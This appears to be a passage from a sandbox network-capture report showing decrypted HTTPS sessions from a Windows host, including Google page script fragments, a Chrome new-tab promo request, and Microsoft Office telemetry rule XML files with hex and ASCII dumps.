2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700315,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-30 03:34:18 UTC	1353	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-10-30 03:34:18 UTC	336	IN	Data Raw: 31 34 39 0d 0a 7d 3b 5c 6e 5f 2e 41 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 7a 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 Data Ascii: 149};\n_.Ae\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:ze.hasOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"da
2024-10-30 03:34:18 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 42 65 5c 75 30 30 33 64 66 75 Data Ascii: 8000cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.Be\u003dfu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49738	142.250.185.228	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 03:34:18 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 03:34:18 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 03:34:18 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 03:34:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033419Z-17c5cb586f6vcw6vtg5eymp4u800000005pg0000000021yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033419Z-16849878b78qg9mlz11wgn0wcc000000070000000000k93e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033419Z-16849878b78wc6ln1zsrz6q9w80000000780000000000pss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033419Z-16849878b78g2m84h2v9sta29000000006a000000000m1s0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 03fc6633-801e-0048-4d87-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033419Z-17c5cb586f66g7mvgrudxte95400000002cg00000000bzas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-17c5cb586f6vcw6vtg5eymp4u800000005pg0000000021zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-16849878b78tg5n42kspfr0x4800000007f000000000cqvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-r197bdfb6b4c8q4qvwwy2byzsw00000007w0000000003z0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 